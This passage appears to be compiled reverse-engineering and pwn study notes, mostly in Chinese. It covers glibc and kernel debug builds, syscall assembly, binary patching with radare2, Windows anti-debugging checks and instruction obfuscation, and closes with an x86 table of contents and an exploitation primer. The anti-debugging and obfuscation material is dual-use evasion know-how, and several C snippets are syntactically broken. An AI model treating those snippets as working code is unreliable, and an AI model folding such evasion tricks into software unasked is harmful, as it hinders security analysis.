;另一部分是库的二进制文件。二进制文件部分主要是 C 语言标准库,有动态和静态两个版本,动态版本位于 /lib/libc.so.6
,静态版本位于 /usr/lib/libc.a
。
这一章中,我们将阅读分析 glibc 的源码,下面先把它下载下来,并切换到我们需要的版本:
+$ git clone git://sourceware.org/git/glibc.git
+$ cd glibc
+$ git checkout --track -b local_glibc-2.23 origin/release/2.23/master
+
+下面来编译它,首先修改配置文件 Makeconfig,将 -Werror
注释掉,这样可以避免高版本 GCC(v8.1.0) 将警告当做错误处理:
$ cat Makeconfig | grep -i werror | grep warn
++gccwarn += #-Werror
+
+接下来需要打上一个 patch:
+$ cat regexp.patch
+diff --git a/misc/regexp.c b/misc/regexp.c
+index 19d76c0..9017bc1 100644
+--- a/misc/regexp.c
++++ b/misc/regexp.c
+@@ -29,14 +29,17 @@
+
+ #if SHLIB_COMPAT (libc, GLIBC_2_0, GLIBC_2_23)
+
+-/* Define the variables used for the interface. */
+-char *loc1;
+-char *loc2;
++#include <stdlib.h> /* Get NULL. */
++
++/* Define the variables used for the interface. Avoid .symver on common
++ symbol, which just creates a new common symbol, not an alias. */
++char *loc1 = NULL;
++char *loc2 = NULL;
+ compat_symbol (libc, loc1, loc1, GLIBC_2_0);
+ compat_symbol (libc, loc2, loc2, GLIBC_2_0);
+
+ /* Although we do not support the use we define this variable as well. */
+-char *locs;
++char *locs = NULL;
+ compat_symbol (libc, locs, locs, GLIBC_2_0);
+$ patch misc/regexp.c regexp.patch
+
+然后就可以编译了:
+$ mkdir build && cd build
+$ ../configure --prefix=/usr/local/glibc-2.23
+$ make -j4 && sudo make install
+
+如果我们想要在编译程序时指定 libc,可以像这样:
+$ gcc -L/usr/local/glibc-2.23/lib -Wl,--rpath=/usr/local/glibc-2.23/lib -Wl,-I/usr/local/glibc-2.23/lib/ld-2.23.so test.c
+$ ldd a.out
+ linux-vdso.so.1 (0x00007ffcc76b0000)
+ libc.so.6 => /usr/local/glibc-2.23/lib/libc.so.6 (0x00007f6abd578000)
+ /usr/local/glibc-2.23/lib/ld-2.23.so => /usr/lib64/ld-linux-x86-64.so.2 (0x00007f6abdb1c000)
+
+然后如果希望在调试时指定 libc 的源文件,可以使用 gdb 命令 directory
,但是这种方法的缺点是不能解析子目录,所以推荐使用下面的命令在启动时加载:
gdb `find ~/path/to/glibc/source -type d -printf '-d %p '` ./a.out
+
+下面我们先分析 glibc 2.23 版本的源码,它是 Ubuntu16.04 的默认版本,在 pwn 中也最常见。然后,我们再探讨新版本的 glibc 中所加入的漏洞缓解机制。
+_int_malloc()
+
+_int_free()
+
+_int_realloc()
+
+我的编译环境是如下。首先安装必要的软件:
+$ uname -a
+Linux firmy-pc 4.14.34-1-MANJARO #1 SMP PREEMPT Thu Apr 12 17:26:43 UTC 2018 x86_64 GNU/Linux
+$ yaourt -S base-devel
+
+为了方便学习,选择一个稳定版本,比如最新的 4.16.3。
+$ mkdir ~/kernelbuild && cd ~/kernelbuild
+$ wget -c https://cdn.kernel.org/pub/linux/kernel/v4.x/linux-4.16.3.tar.xz
+$ tar -xvJf linux-4.16.3.tar.xz
+$ cd linux-4.16.3/
+$ make clean && make mrproper
+
+内核的配置选项在 .config
文件中,有两种方法可以设置这些选项,一种是从当前内核中获得一份默认配置:
$ zcat /proc/config.gz > .config
+$ make oldconfig
+
+另一种是自己生成一份配置:
+$ make localmodconfig # 使用当前内核配置生成
+ # OR
+$ make defconfig # 根据当前架构默认的配置生成
+
+为了能够对内核进行调试,需要设置下面的参数:
+CONFIG_DEBUG_INFO=y
+CONFIG_DEBUG_INFO_REDUCED=n
+CONFIG_GDB_SCRIPTS=y
+
+如果需要使用 kgdb,还需要开启下面的参数:
+CONFIG_STRICT_KERNEL_RWX=n
+CONFIG_FRAME_POINTER=y
+CONFIG_KGDB=y
+CONFIG_KGDB_SERIAL_CONSOLE=y
+
+CONFIG_STRICT_KERNEL_RWX
会将特定的内核内存空间标记为只读,这将阻止你使用软件断点,最好将它关掉。 如果希望使用 kdb,在上面的基础上再加上:
CONFIG_KGDB_KDB=y
+CONFIG_KDB_KEYBOARD=y
+
+另外如果你在调试时不希望被 KASLR 干扰,可以在编译时关掉它:
+CONFIG_RANDOMIZE_BASE=n
+CONFIG_RANDOMIZE_MEMORY=n
+
+将上面的参数写到文件 .config-fragment
,然后合并进 .config
:
$ ./scripts/kconfig/merge_config.sh .config .config-fragment
+
+最后因为内核编译默认开启了 -O2
优化,可以修改 Makefile 为 -O0
:
KBUILD_CFLAGS += -O0
+
+编译内核:
+$ make
+
+完成后当然就是安装,但我们这里并不是真的要将本机的内核换掉,接下来的过程就交给 QEMU 了。(参考章节4.1)
+在 Linux 中,系统调用是一些内核空间函数,是用户空间访问内核的唯一手段。这些函数与 CPU 架构有关,x86-64 架构提供了 322 个系统调用,x86 提供了 358 个系统调用(参考附录9.4)。
+下面是一个用 32 位汇编写的例子,源码:
+.data
+
+msg:
+ .ascii "hello 32-bit!\n"
+ len = . - msg
+
+.text
+ .global _start
+
+_start:
+ movl $len, %edx
+ movl $msg, %ecx
+ movl $1, %ebx
+ movl $4, %eax
+ int $0x80
+
+ movl $0, %ebx
+ movl $1, %eax
+ int $0x80
+
+编译执行(可以编译成64位程序的):
+$ gcc -m32 -c hello32.S
+$ ld -m elf_i386 -o hello32 hello32.o
+$ strace ./hello32
+execve("./hello32", ["./hello32"], 0x7ffff990f830 /* 68 vars */) = 0
+strace: [ Process PID=19355 runs in 32 bit mode. ]
+write(1, "hello 32-bit!\n", 14hello 32-bit!
+) = 14
+exit(0) = ?
++++ exited with 0 +++
+
+可以看到程序将调用号保存到 eax
,并通过 int $0x80
来使用系统调用。
虽然软中断 int 0x80
非常经典,早期 2.6 及以前版本的内核都使用这种机制进行系统调用。但因其性能较差,在往后的内核中使用了快速系统调用指令来替代,32 位系统使用 sysenter
(对应sysexit
) 指令,而 64 位系统使用 syscall
(对应sysret
) 指令。
一个使用 sysenter 的例子:
+.data
+
+msg:
+ .ascii "Hello sysenter!\n"
+ len = . - msg
+
+.text
+ .globl _start
+
+_start:
+ movl $len, %edx
+ movl $msg, %ecx
+ movl $1, %ebx
+ movl $4, %eax
+ # Setting the stack for the systenter
+ pushl $sysenter_ret
+ pushl %ecx
+ pushl %edx
+ pushl %ebp
+ movl %esp, %ebp
+ sysenter
+
+sysenter_ret:
+ movl $0, %ebx
+ movl $1, %eax
+ # Setting the stack for the systenter
+ pushl $sysenter_ret
+ pushl %ecx
+ pushl %edx
+ pushl %ebp
+ movl %esp, %ebp
+ sysenter
+$ gcc -m32 -c sysenter.S
+$ ld -m elf_i386 -o sysenter sysenter.o
+$ strace ./sysenter
+execve("./sysenter", ["./sysenter"], 0x7fff73993fd0 /* 69 vars */) = 0
+strace: [ Process PID=7663 runs in 32 bit mode. ]
+write(1, "Hello sysenter!\n", 16Hello sysenter!
+) = 16
+exit(0) = ?
++++ exited with 0 +++
+
+可以看到,为了使用 sysenter 指令,需要为其手动布置栈。这是因为在 sysenter 返回时,会执行 __kernel_vsyscall
的后半部分(从0xf7fd5059开始):
gdb-peda$ vmmap vdso
+Start End Perm Name
+0xf7fd4000 0xf7fd6000 r-xp [vdso]
+gdb-peda$ disassemble __kernel_vsyscall
+Dump of assembler code for function __kernel_vsyscall:
+ 0xf7fd5050 <+0>: push ecx
+ 0xf7fd5051 <+1>: push edx
+ 0xf7fd5052 <+2>: push ebp
+ 0xf7fd5053 <+3>: mov ebp,esp
+ 0xf7fd5055 <+5>: sysenter
+ 0xf7fd5057 <+7>: int 0x80
+ 0xf7fd5059 <+9>: pop ebp
+ 0xf7fd505a <+10>: pop edx
+ 0xf7fd505b <+11>: pop ecx
+ 0xf7fd505c <+12>: ret
+End of assembler dump.
+
+__kernel_vsyscall
封装了 sysenter 调用的规范,是 vDSO 的一部分,而 vDSO 允许程序在用户层中执行内核代码。关于 vDSO 的内容我们将在后面的章节中细讲。
下面是一个 64 位使用 syscall
的例子:
.data
+
+msg:
+ .ascii "Hello 64-bit!\n"
+ len = . - msg
+
+.text
+ .global _start
+
+_start:
+ movq $1, %rdi
+ movq $msg, %rsi
+ movq $len, %rdx
+ movq $1, %rax
+ syscall
+
+ xorq %rdi, %rdi
+ movq $60, %rax
+ syscall
+
+编译执行(不能编译成32位程序):
+$ gcc -c hello64.S
+$ ld -o hello64 hello64.o
+$ strace ./hello64
+execve("./hello64", ["./hello64"], 0x7ffe11485290 /* 68 vars */) = 0
+write(1, "Hello 64-bit!\n", 14Hello 64-bit!
+) = 14
+exit(0) = ?
++++ exited with 0 +++
+
+在这两个例子中我们直接使用了 execve
、write
和 exit
三个系统调用。但一般情况下,应用程序通过在用户空间实现的应用编程接口(API)而不是直接通过系统调用来编程。例如函数 printf()
的调用过程是这样的:
调用printf() ==> C库中的printf() ==> C库中的write() ==> write()系统调用
+
+许多时候,我们不能获得程序源码,只能直接对二进制文件进行修改,这就是所谓的 patch,你可以使用十六进制编辑器直接修改文件的字节,也可以利用一些半自动化的工具。
+patch 有很多种形式:
+手工 patch 自然会比较麻烦,但能让我们更好地理解一个二进制文件的构成,以及程序的链接和加载。有许多工具可以做到这一点,比如 xxd、dd、gdb、radare2 等等。
+$ echo 01: 01 02 03 04 05 06 07 08 | xxd -r - output
+$ xxd -g1 output
+00000000: 00 01 02 03 04 05 06 07 08 .........
+$ echo 04: 41 42 43 44 | xxd -r - output
+$ xxd -g1 output
+00000000: 00 01 02 03 41 42 43 44 08 ....ABCD.
+
+参数 -r
用于将 hexdump 转换成 binary。这里我们先创建一个 binary,然后将将其中几个字节改掉。
一个简单的例子:
+#include<stdio.h>
+void main() {
+ printf("hello");
+ puts("world");
+}
+$ gcc -no-pie patch.c
+$ ./a.out
+helloworld
+
+下面通过计算函数偏移,我们将 printf
换成 puts
:
[0x004004e0]> pdf @ main
+ ;-- main:
+/ (fcn) sym.main 36
+| sym.main ();
+| ; DATA XREF from 0x004004fd (entry0)
+| 0x004005ca 55 push rbp
+| 0x004005cb 4889e5 mov rbp, rsp
+| 0x004005ce 488d3d9f0000. lea rdi, str.hello ; 0x400674 ; "hello"
+| 0x004005d5 b800000000 mov eax, 0
+| 0x004005da e8f1feffff call sym.imp.printf ; int printf(const char *format)
+| 0x004005df 488d3d940000. lea rdi, str.world ; 0x40067a ; "world"
+| 0x004005e6 e8d5feffff call sym.imp.puts ; sym.imp.printf-0x10 ; int printf(const char *format)
+| 0x004005eb 90 nop
+| 0x004005ec 5d pop rbp
+\ 0x004005ed c3 ret
+
+地址 0x004005da
处的语句是 call sym.imp.printf
,其中机器码 e8
代表 call
,所以 sym.imp.printf
的偏移是 0xfffffef1
。地址 0x004005e6
处的语句是 call sym.imp.puts
,sym.imp.puts
的偏移是 0xfffffed5
。
接下来找到两个函数的 plt 地址:
+[0x004004e0]> is~printf
+vaddr=0x004004d0 paddr=0x000004d0 ord=003 fwd=NONE sz=16 bind=GLOBAL type=FUNC name=imp.printf
+[0x004004e0]> is~puts
+vaddr=0x004004c0 paddr=0x000004c0 ord=002 fwd=NONE sz=16 bind=GLOBAL type=FUNC name=imp.puts
+
+计算相对位置:
+[0x004004e0]> ?v 0x004004d0-0x004004c0
+0x10
+
+所以要想将 printf
替换为 puts
,只要替换成 0xfffffef1 -0x10 = 0xfffffee1
就可以了。
[0x004004e0]> s 0x004005da
+[0x004005da]> wx e8e1feffff
+[0x004005da]> pd 1
+| 0x004005da e8e1feffff call sym.imp.puts ; sym.imp.printf-0x10 ; int printf(const char *format)
+
+搞定。
+$ ./a.out
+hello
+world
+
+当然还可以将这一过程更加简化,直接输入汇编,其他的事情 r2 会帮你搞定:
+[0x004005da]> wa call 0x004004c0
+Written 5 bytes (call 0x004004c0) = wx e8e1feffff
+[0x004005da]> wa call sym.imp.puts
+Written 5 bytes (call sym.imp.puts) = wx e8e1feffff
+
+patchkit 可以让我们通过 Python 脚本来 patch ELF 二进制文件。
+反调试是一种重要的软件保护技术,特别是在各种游戏保护中被尤其重视。另外,恶意代码往往也会利用反调试来对抗安全分析。当程序意识到自己可能处于调试中的时候,可能会改变正常的执行路径或者修改自身程序让自己崩溃,从而增加调试时间和复杂度。
+下面先介绍几种 Windows 下的反调试方法。
+函数检测就是通过 Windows 自带的公开或未公开的函数直接检测程序是否处于调试状态。最简单的调试器检测函数是 IsDebuggerPresent()
:
BOOL WINAPI IsDebuggerPresent(void);
+
+该函数查询进程环境块(PEB)中的 BeingDebugged
标志,如果进程处在调试上下文中,则返回一个非零值,否则返回零。
示例:
+BOOL CheckDebug()
+{
+ return IsDebuggerPresent();
+}
+
+CheckRemoteDebuggerPresent()
用于检测一个远程进程是否处于调试状态:
BOOL WINAPI CheckRemoteDebuggerPresent(
+ _In_ HANDLE hProcess,
+ _Inout_ PBOOL pbDebuggerPresent
+);
+
+如果 hProcess
句柄表示的进程处于调试上下文,则设置 pbDebuggerPresent
变量被设置为 TRUE
,否则被设置为 FALSE
。
BOOL CheckDebug()
+{
+ BOOL ret;
+ CheckRemoteDebuggerPresent(GetCurrentProcess(), &ret);
+ return ret;
+}
+
+NtQueryInformationProcess
用于获取给定进程的信息:
NTSTATUS WINAPI NtQueryInformationProcess(
+ _In_ HANDLE ProcessHandle,
+ _In_ PROCESSINFOCLASS ProcessInformationClass,
+ _Out_ PVOID ProcessInformation,
+ _In_ ULONG ProcessInformationLength,
+ _Out_opt_ PULONG ReturnLength
+);
+
+第二个参数 ProcessInformationClass
给定了需要查询的进程信息类型。当给定值为 0
(ProcessBasicInformation
)或 7
(ProcessDebugPort
)时,就能得到相关调试信息,返回信息会写到第三个参数 ProcessInformation
指向的缓冲区中。
示例:
+BOOL CheckDebug()
+{
+ DWORD dbgport = 0;
+ HMODULE hModule = LoadLibrary("Ntdll.dll");
+ NtQueryInformationProcessPtr NtQueryInformationProcess = (NtQueryInformationProcessPtr)GetProcAddress(hModule, "NtQueryInformationProcess");
+ NtQueryInformationProcess(GetCurrentProcess(), 7, &dbgPort, sizeof(dbgPort), NULL);
+ return dbgPort != 0;
+}
+
+数据检测是指程序通过测试一些与调试相关的关键位置的数据来判断是否处于调试状态。比如上面所说的 PEB 中的 BeingDebugged
参数。数据检测就是直接定位到这些数据地址并测试其中的数据,从而避免调用函数,使程序的行为更加隐蔽。
示例:
+BOOL CheckDebug()
+{
+ int BeingDebug = 0;
+ __asm
+ {
+ mov eax, dword ptr fs:[30h] ; 指向PEB基地址
+ mov eax, dword ptr [eax+030h]
+ movzx eax, byte ptr [eax+2]
+ mov BeingDebug, eax
+ }
+ return BeingDebug != 0;
+}
+
+由于调试器中启动的进程与正常启动的进程创建堆的方式有些不同,系统使用 PEB 结构偏移量 0x68 处的一个未公开的位置,来决定如果创建堆结构。如果这个位置上的值为 0x70
,则进程处于调试器中。
示例:
+BOOL CheckDebug()
+{
+ int BeingDbg = 0;
+ __asm
+ {
+ mov eax, dword ptr fs:[30h]
+ mov eax, dword ptr [eax + 68h]
+ and eax, 0x70
+ mov BeingDbg, eax
+ }
+ return BeingDbg != 0;
+}
+
+符号检测主要针对一些使用了驱动的调试器或监视器,这类调试器在启动后会创建相应的驱动链接符号,以用于应用层与其驱动的通信。但由于这些符号一般都比较固定,所以就可以通过这些符号来确定是否存在相应的调试软件。
+示例:
+BOOL CheckDebug()
+{
+ HANDLE hDevice = CreateFileA("\\\\.\\PROCEXP153", GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, 0);
+ if (hDevice)
+ {
+ return 0;
+ }
+}
+
+窗口检测通过检测当前桌面中是否存在特定的调试窗口来判断是否存在调试器,但不能判断该调试器是否正在调试该程序。
+示例:
+BOOL CheckDebug()
+{
+ if (FindWindowA("OllyDbg", 0))
+ {
+ return 0;
+ }
+ return 1;
+}
+
+特征码检测枚举当前正在运行的进程,并在进程的内存空间中搜索特定调试器的代码片段。
+例如 OllyDbg 有这样一段特征码:
+0x41, 0x00, 0x62, 0x00, 0x6f, 0x00, 0x75, 0x00, 0x74, 0x00,
+0x20, 0x00, 0x4f, 0x00, 0x6c, 0x00, 0x6c, 0x00, 0x79, 0x00,
+0x44, 0x00, 0x62, 0x00, 0x67, 0x00, 0x00, 0x00, 0x4f, 0x00,
+0x4b, 0x00, 0x00, 0x00
+
+示例:
+BOOL CheckDebug()
+{
+ BYTE sign[] = {0x41, 0x00, 0x62, 0x00, 0x6f, 0x00, 0x75, 0x00, 0x74, 0x00,
+ 0x20, 0x00, 0x4f, 0x00, 0x6c, 0x00, 0x6c, 0x00, 0x79, 0x00,
+ 0x44, 0x00, 0x62, 0x00, 0x67, 0x00, 0x00, 0x00, 0x4f, 0x00,
+ 0x4b, 0x00, 0x00, 0x00;}
+
+ PROCESSENTRY32 sentry32 = {0};
+ sentry32.dwSize = sizeof(sentry32);
+ HANDLE phsnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
+
+ Process32First(phsnap, &sentry32);
+ do{
+ HANDLE hps = OpenProcess(MAXIMUM_ALLOWED, FALSE, sentry32.th32ProcessID);
+ if (hps != 0)
+ {
+ DWORD szReaded = 0;
+ BYTE signRemote[sizeof(sign)];
+ ReadProcessMemory(hps, (LPCVOID)0x4f632a, signRemote, sizeof(signRemote), &szReaded);
+ if (szReaded > 0)
+ {
+ if (memcmp(sign, signRemote, sizeof(sign)) == 0)
+ {
+ CloseHandle(phsnap);
+ return 0;
+ }
+ }
+ }
+ }
+ sentry32.dwSize = sizeof(sentry32);
+}while(Process32Next(phsnap, &sentry32));
+
+行为检测是指在程序中通过代码感知程序处于调试时与未处于调试时的各种差异来判断程序是否处于调试状态。例如我们在调试时步过两条指令所花费的时间远远超过 CPU 正常执行花费的时间,于是就可以通过 rdtsc
指令来进行测试。(该指令用于将时间标签计数器读入 EDX:EAX
寄存器)
示例:
+BOOL CheckDebug()
+{
+ int BeingDbg = 0;
+ __asm
+ {
+ rdtsc
+ mov ecx, edx
+ rdtsc
+ sub edx, ecx
+ mov BeingDbg, edx
+ }
+ if (BeingDbg > 2)
+ {
+ return 0;
+ }
+ return 1;
+}
+
+断点检测是根据调试器设置断点的原理来检测软件代码中是否设置了断点。调试器一般使用两者方法设置代码断点:
+针对软件断点,检测系统会扫描比较重要的代码区域,看是否存在多余的 INT3 指令。
+示例:
+BOOL CheckDebug()
+{
+ PIMAGE_DOS_HEADER pDosHeader;
+ PIMAGE_NT_HEADERS32 pNtHeaders;
+ PIMAGE_SECTION_HEADER pSectionHeader;
+ DWORD dwBaseImage = (DWORD)GetModuleHandle(NULL);
+ pDosHeader = (PIMAGE_DOS_HEADER)dwBaseImage;
+ pNtHeaders = (PIMAGE_NT_HEADERS32)((DWORD)pDosHeader + pDosHeader->e_lfanew);
+ pSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)pNtHeaders + sizeof(pNtHeaders->Signature) + sizeof(IMAGE_FILE_HEADER) +
+ (WORD)pNtHeaders->FileHeader.SizeOfOptionalHeader);
+ DWORD dwAddr = pSectionHeader->VirtualAddress + dwBaseImage;
+ DWORD dwCodeSize = pSectionHeader->SizeOfRawData;
+ BOOL Found = FALSE;
+ __asm
+ {
+ cld
+ mov edi,dwAddr
+ mov ecx,dwCodeSize
+ mov al,0CCH
+ repne scasb ; 在EDI指向大小为ECX的缓冲区中搜索AL包含的字节
+ jnz NotFound
+ mov Found,1
+NotFound:
+ }
+ return Found;
+}
+
+而对于硬件断点,由于程序工作在保护模式下,无法访问硬件调试断点,所以一般需要构建异常程序来获取 DR 寄存器的值。
+示例:
+BOOL CheckDebug()
+{
+ CONTEXT context;
+ HANDLE hThread = GetCurrentThread();
+ context.ContextFlags = CONTEXT_DEBUG_REGISTERS;
+ GetThreadContext(hThread, &context);
+ if (context.Dr0 != 0 || context.Dr1 != 0 || context.Dr2 != 0 || context.Dr3!=0)
+ {
+ return 1;
+ }
+ return 0;
+}
+
+行为占用是指在需要保护的程序中,程序自身将一些只能同时有 1 个实例的功能占为己用。比如一般情况下,一个进程只能同时被 1 个调试器调试,那么就可以设计一种模式,将程序以调试方式启动,然后利用系统的调试机制防止被其他调试器调试。
+软件的安全性严重依赖于代码复杂化后被分析者理解的难度,通过指令混淆,可以将原始的代码指令转换为等价但极其复杂的指令,从而尽可能地提高分析和破解的成本。
+代码变形是指将单条或多条指令转变为等价的单条或多条其他指令。其中对单条指令的变形叫做局部变形,对多条指令结合起来考虑的变成叫做全局变形。
+例如下面这样的一条赋值指令:
+mov eax, 12345678h
+
+可以使用下面的组合指令来替代:
+push 12345678h
+pop eax
+
+更进一步:
+pushfd
+mov eax, 1234
+shl eax, 10
+mov ax, 5678
+popfd
+
+pushfd
和 popfd
是为了保护 EFLAGS 寄存器不受变形后指令的影响。
继续替换:
+pushfd
+push 1234
+pop eax
+shl eax, 10
+mov ax 5678
+
+这样的结果就是简单的指令也可能会变成上百上千条指令,大大提高了理解的难度。
+再看下面的例子:
+jmp {label}
+
+可以变成:
+push {label}
+ret
+
+而且 IDA 不能识别出这种 label 标签的调用结构。
+指令:
+call {label}
+
+可以替换成:
+push {call指令后面的那个label}
+push {label}
+ret
+
+指令:
+push {op}
+
+可以替换成:
+sub esp, 4
+mov [esp], {op}
+
+下面我们来看看全局变形。对于下面的代码:
+mov eax, ebx
+mov ecx, eax
+
+因为两条代码具有关联性,在变形时需要综合考虑,例如下面这样:
+mov cx, bx
+mov ax, cx
+mov ch, bh
+mov ah, bh
+
+这种具有关联性的特定使得通过变形后的代码推导变形前的代码更加困难。
+花指令就是在原始指令中插入一些虽然可以被执行但是没有任何作用的指令,它的出现只是为了扰乱分析,不仅是对分析者来说,还是对反汇编器、调试器来说。
+来看个例子,原始指令如下:
+add eax, ebx
+mul ecx
+
+加入花指令之后:
+xor esi, 011223344h
+add esi, eax
+add eax, ebx
+mov edx, eax
+shl edx, 4
+mul ecx
+xor esi, ecx
+
+其中使用了源程序不会使用到的 esi 和 edx 寄存器。这就是一种纯粹的垃圾指令。
+有的花指令用于干扰反汇编器,例如下面这样:
+01003689 50 push eax
+0100368A 53 push ebx
+
+加入花指令后:
+01003689 50 push eax
+0100368A EB 01 jmp short 0100368D
+0100368C FF53 6A call dword ptr [ebx+6A]
+
+乍一看似乎很奇怪,其实是加入因为加入了机器码 EB 01 FF
,使得线性分析的反汇编器产生了误判。而在执行时,第二条指令会跳转到正确的位置,流程如下:
01003689 50 push eax
+0100368A EB 01 jmp short 0100368D
+0100368C 90 nop
+0100368D 53 push ebx
+
+指令一般都是按照一定序列执行的,例如下面这样:
+01003689 push eax
+0100368A push ebx
+0100368B xor eax, eax
+0100368D cmp eax, 0
+01003690 jne short 01003695
+01003692 inc eax
+01003693 jmp short 0100368D
+01003695 pop ebx
+01003696 pop eax
+
+指令序列看起来很清晰,所以扰乱指令序列就是要打乱这种指令的排列方式,以干扰分析者:
+01003689 push eax
+0100368A jmp short 01003694
+0100368C xor eax, eax
+0100368E jmp short 01003697
+01003690 jne short 0100369F
+01003692 jmp short 0100369C
+01003694 push ebx
+01003695 jmp short 0100368C
+01003697 cmp eax, 0
+0100369A jmp short 01003690
+0100369C inc eax
+0100369D jmp short 01003697
+0100369F pop ebx
+010036A0 pop eax
+
+虽然看起来很乱,但真实的执行顺序没有改变。
+多分支是指利用不同的条件跳转指令将程序的执行流程复杂化。与扰乱指令序列不同的时,多分支改变了程序的执行流。举个例子:
+01003689 push eax
+0100368A push ebx
+0100368B push ecx
+0100368C push edx
+
+变形如下:
+01003689 push eax
+0100368A je short 0100368F
+0100368C push ebx
+0100368D jmp short 01003690
+0100368F push ebx
+01003690 push ecx
+01003691 push edx
+
+代码里加入了一个条件分支,但它究竟会不会触发我们并不关心。于是程序具有了不确定性,需要在执行时才能确定。但可以肯定的时,这段代码的执行结果和原代码相同。
+再改进一下,用不同的代码替换分支处的代码:
+01003689 push eax
+0100368A je short 0100368F
+0100368C push ebx
+0100368D jmp short 01003693
+0100368F push eax
+01003690 mov dword ptr [esp], ebx
+01003693 push ecx
+01003694 push edx
+
+不透明谓词是指一个表达式的值在执行到某处时,对程序员而言是已知的,但编译器或静态分析器无法推断出这个值,只能在运行时确定。上面的多分支其实也是利用了不透明谓词。
+下面的代码中:
+mov esi, 1
+... ; some code not touching esi
+dec esi
+...
+cmp esi, 0
+jz real_code
+; fake luggage
+real_code:
+
+假设我们知道这里 esi 的值肯定是 0,那么就可以在 fake luggage 处插入任意长度和复杂度的指令,以达到混淆的目的。
+其它的例子还有(同样假设esi为0):
+add eax, ebx
+mul ecx
+add eax, esi
+
+dummy_data1 db 100h dup (0)
+message1 db 'hello world', 0
+
+dummy_data2 db 200h dup (0)
+message2 db 'another message', 0
+
+func proc
+ ...
+ mov eax, offset dummy_data1
+ add eax, 100h
+ push eax
+ call dump_string
+ ...
+ mov eax, offset dummy_data2
+ add eax, 200h
+ push eax
+ call dump_string
+ ...
+func endp
+
+这里通过 dummy_data 来间接地引用 message,但 IDA 就不能正确地分析到对 message 的引用。
+基于虚拟机的代码保护也可以算是代码混淆技术的一种,是目前各种混淆中保护效果最好的。简单地说,该技术就是通过许多模拟代码来模拟被保护的代码的执行,然后计算出与被保护代码执行时相同的结果。
++------------+
+| 头部指令序列 | -------> | 代码虚拟机入口 |
+|------------| |
+| | | 保存代码现场 |
+| | |
+| 中间指令序列 | | 模拟执行中间指令序列 |
+| | |
+| | | 设置新的代码现场 |
+|------------| |
+| 尾部指令序列 | <------- | 代码虚拟机出口 |
++------------+
+
+当原始指令执行到指令序列的开始处,就转入代码虚拟机的入口。此时需要保存当前线程的上下文信息,然后进入模拟执行阶段,该阶段是代码虚拟机的核心。有两种方案来保证虚拟机代码与原始代码的栈空间使用互不冲突,一种是在堆上开辟开辟新的空间,另一种是继续使用原始代码所使用的栈空间,这两种方案互有优劣,在实际中第二种使用较多。
+对于怎样模拟原始代码,同样有两种方案。一种是将原本的指令序列转变为一种具有直接或者间接对应关系的,只有虚拟机才能理解的代码数据。例如用 0
来表示 push
, 1 表示 mov
等。这种直接或间接等价的数据称为 opcode。另一种方案是将原始代码的意义直接转换成新的代码,类似于代码变形,这种方案基于指令语义,所以设计难度非常大。
From Wikibooks, the open-content textbooks collection
+• 1 Introduction
+• 1.1 Why Learn Assembly?
+• 1.2 Who is This Book For?
+• 1.3 How is This Book Organized?
+• 2 Basic FAQ
+• 2.1 How Does the Computer Read/Understand Assembly?
+• 2.2 Is it the Same On Windows/DOS/Linux?
+• 2.3 Which Assembler is Best?
+• 2.4 Do I Need to Know Assembly?
+• 2.5 How Should I Format my Code?
+• 3 X86 Family
+• 3.1 Intel x86 Microprocessors
+• 3.2 AMD x86 Compatible Microprocessors
+• 4 X86 Architecture
+• 4.1 x86 Architecture
+• 4.1.1 General Purpose Registers (GPR)
+• 4.1.2 Segment Registers
+• 4.1.3 EFLAGS Register
+• 4.1.4 Instruction Pointer
+• 4.1.5 Memory
+• 4.1.6 Two's complement representation
+• 4.1.7 Addressing modes
+• 4.2 Stack
+• 4.3 CPU Operation Modes
+• 4.3.1 Real Mode
+• 4.3.2 Protected Mode
+• 4.3.2.1 Flat Memory Model
+• 4.3.2.2 Multi-Segmented Memory Model
+• 5 Comments
+• 5.1 Comments
+• 5.2 HLA Comments
+• 6 16 32 and 64 Bits
+• 6.1 The 8086 Registers
+• 6.1.1 Example
+• 6.2 The A20 Gate Saga
+• 6.3 32-Bit Addressing
+• 7 X86 Instructions
+• 7.1 Conventions
+• 8 Data Transfer
+• 8.1 Data transfer instructions
+• 8.1.1 Move
+• 8.1.2 Data Swap
+• 8.1.3 Move and Extend
+• 8.1.4 Move by Data Size
+++https://ir0nstone.gitbook.io/notes/
+
++An Introduction to binary exploitation
+
Binary Exploitation is about finding vulnerabilities in programs and utilizing them to do what you wish. Sometimes this can result in an authentication bypass or the leaking of classified information, but occasionally (if you're lucky) it can also result in Remote Code Execution (RCE). The most basic forms of binary exploitation occur on the stack, a region of memory that stores temporary variables created by functions in code.
+When a new function is called, a memory address in the calling function is pushed to the stack - this way, the program knows where to return to once the called function finishes execution. Let's look at a basic binary to show this.
+ +The binary has two files - source.c
and vuln
; the latter is an ELF
file, which is the executable format for Linux (it is recommended to follow along with this with a Virtual Machine of your own, preferably Linux).
We're gonna use a tool called radare2
to analyze the behavior of the binary when functions are called.
$ r2 -d -A vuln
+
+The -d
runs it while the -A
performs the analysis. We can disassemble the main
with
s main; pdf
+
+s main
seeks (moves) to main, while pdf
stands for Print Disassembly Function (literally just disassembles it).
0x080491ab 55 push ebp
+0x080491ac 89e5 mov ebp, esp
+0x080491ae 83e4f0 and esp, 0xfffffff0
+0x080491b1 e80d000000 call sym.__x86.get_pc_thunk.ax
+0x080491b6 054a2e0000 add eax, 0x2e4a
+0x080491bb e8b2ffffff call sym.unsafe
+0x080491c0 90 nop
+0x080491c1 c9 leave
+0x080491c2 c3 ret
+
+The call to unsafe
is at 0x080491bb
, so let's break there.
db 0x080491bb
+
+db
stands for debug breakpoint and just sets a breakpoint. A breakpoint is simply somewhere that pauses the program for you to run other commands when reached. Now we run dc
for debug continue; this just carries on running the file.
It should break before unsafe
is called; let's analyze the top of the stack now:
[0x08049172]> pxw @ esp
+0xff984af0 0xf7efe000 [...]
+
+The first address, 0xff984af0
, is the position; the 0xf7efe000
is the value. Let's move one more instruction with the ds
, debug step, and check the stack again.
[0x08049172]> pxw @ esp
+0xff984aec 0x080491c0 0xf7efe000
+
+Huh, something's been pushed onto the stack - the value 0x080491c0
. This looks like it's in the binary - but where?
[...]
+0x080491b6 054a2e0000 add eax, 0x2e4a
+0x080491bb e8b2ffffff call sym.unsafe
+0x080491c0 90 nop
+[...]
+
+Look at that - it's the instruction after the call to unsafe
. Why? This is how the program knows where to return to after *unsafe()*
has finished.
